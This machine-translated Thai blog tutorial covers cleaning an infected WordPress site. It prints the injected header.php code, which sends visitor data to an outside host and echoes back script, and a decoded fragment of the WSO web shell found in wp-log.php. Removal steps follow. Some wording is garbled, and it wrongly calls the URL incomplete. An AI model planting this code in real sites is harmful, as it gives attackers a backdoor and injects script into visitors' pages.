บทช่วยสอนนี้นำเสนอกรณีเฉพาะที่บล็อก WordPress มันติดเชื้อ การกำจัด WordPress ไวรัส PHP
วันก่อนฉันสังเกตเห็นรหัสที่น่าสงสัยซึ่งน่าจะเป็นไวรัส PHP สำหรับ WordPress. รหัส PHP ต่อไปนี้มีอยู่ในไฟล์ header.php
, ก่อนสาย </head>
.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
นี่คือโค้ด PHP บางส่วนที่ดูเหมือนว่ากำลังพยายามดึงเนื้อหาของทรัพยากรจากเซิร์ฟเวอร์ภายนอก แต่ส่วนที่อ้างถึง URL นั้นไม่สมบูรณ์
กลไกการทำงานค่อนข้างซับซ้อนและทำเช่นนี้ WordPress PHP Virus มองไม่เห็นสำหรับผู้เยี่ยมชมไซต์ที่ได้รับผลกระทบ แต่จะกำหนดเป้าหมายไปที่เครื่องมือค้นหา (Google) และนำไปสู่การลดจำนวนผู้เข้าชมเว็บไซต์ที่ได้รับผลกระทบโดยปริยาย
เนื้อหา
รายละเอียดของมัลแวร์ WordPress PHP ไวรัส
1. รหัสข้างต้นมีอยู่ใน header.php
.
2. ไฟล์ปรากฏขึ้นบนเซิร์ฟเวอร์ wp-log.php
ในโฟลเดอร์ wp-includes
.
3. wp-log.php
มีรหัสที่เข้ารหัส แต่ค่อนข้างง่ายในการถอดรหัส
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
ถอดรหัสรหัสมัลแวร์จาก wp-log.php
:
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
ดูเหมือนว่าจะเป็นสคริปต์ PHP ที่เป็นอันตรายซึ่งมีรหัสเพื่อจัดการการตรวจสอบสิทธิ์และการดำเนินการกับไฟล์และไดเร็กทอรีบนเซิร์ฟเวอร์ จะเห็นได้ง่ายมากว่าสคริปต์นี้มีตัวแปรเช่น $auth_pass
(รหัสผ่านยืนยันตัวตน), $default_action
(การกระทำเริ่มต้น), $default_use_ajax
(ใช้ Ajax เป็นค่าเริ่มต้น) และ $default_charset
(การตั้งค่าตัวอักษรเริ่มต้น)
เห็นได้ชัดว่าสคริปต์นี้มีส่วนที่ตรวจสอบตัวแทนผู้ใช้ HTTP เพื่อบล็อกการเข้าถึงเว็บบอทบางตัว เช่น เครื่องมือค้นหา นอกจากนี้ยังมีส่วนที่ตรวจสอบโหมดความปลอดภัยของ PHP และตั้งค่าไดเร็กทอรีการทำงานบางอย่าง
4. หากเข้าถึง wp-log.php ในเบราว์เซอร์ เว็บเพจจะปรากฏขึ้นพร้อมฟิลด์ การรับรอง. เมื่อมองแวบแรก ดูเหมือนว่าจะเป็นตัวจัดการไฟล์ที่สามารถอัปโหลดไฟล์ใหม่ไปยังเซิร์ฟเวอร์เป้าหมายได้อย่างง่ายดาย
คุณทำลายเว็บไซต์ได้อย่างไร WordPress?
เสมอ กระบวนการกำจัดไวรัสด้วยตนเองเกี่ยวข้องกับการค้นพบและทำความเข้าใจก่อนว่าช่องโหว่คืออะไร
1. สร้างการสำรองข้อมูลสำหรับทั้งเว็บไซต์ ซึ่งจะต้องมีทั้งไฟล์และฐานข้อมูล
2. กำหนดระยะเวลาโดยประมาณของไวรัสที่อยู่รอบๆ และค้นหาเว็บเซิร์ฟเวอร์เพื่อหาไฟล์ที่แก้ไขหรือสร้างขึ้นใหม่ภายในกรอบเวลาโดยประมาณ
ตัวอย่างเช่น หากคุณต้องการดูไฟล์ .php
สร้างหรือแก้ไขในสัปดาห์ที่แล้ว ให้รันคำสั่งในเซิร์ฟเวอร์:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
เป็นวิธีการง่ายๆ ที่คุณสามารถเปิดเผยไฟล์ได้ WordPress ติดไวรัสและผู้ที่มีรหัสมัลแวร์
3. ตรวจสอบไฟล์ .htaccess
คำสั่งที่น่าสงสัย บรรทัดการอนุญาตหรือการเรียกใช้สคริปต์
4. ตรวจสอบฐานข้อมูล เป็นไปได้มากทีเดียวที่บางโพสต์และเพจต่างๆ WordPress ถูกแก้ไขด้วยมัลแวร์หรือถูกเพิ่มเข้ามาใหม่ ผู้ใช้ที่มีบทบาทเป็น administrator.
5. ตรวจสอบสิทธิ์การเขียนสำหรับโฟลเดอร์และไฟล์ chmod
şi chown
.
สิทธิ์ที่แนะนำคือ: 644 สำหรับไฟล์และ 755 สำหรับไดเร็กทอรี
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. อัปเดตทั้งหมด WordPress Plugins / WordPress Themes.
ที่เกี่ยวข้อง Fix Redirect WordPress Hack 2023 (ไวรัสเปลี่ยนเส้นทาง)
นี่เป็นวิธี "พื้นฐาน" ที่คุณสามารถทำลายเว็บไซต์/บล็อกได้ WordPress. หากคุณมีปัญหาและต้องการความช่วยเหลือ ส่วนความคิดเห็นจะเปิดอยู่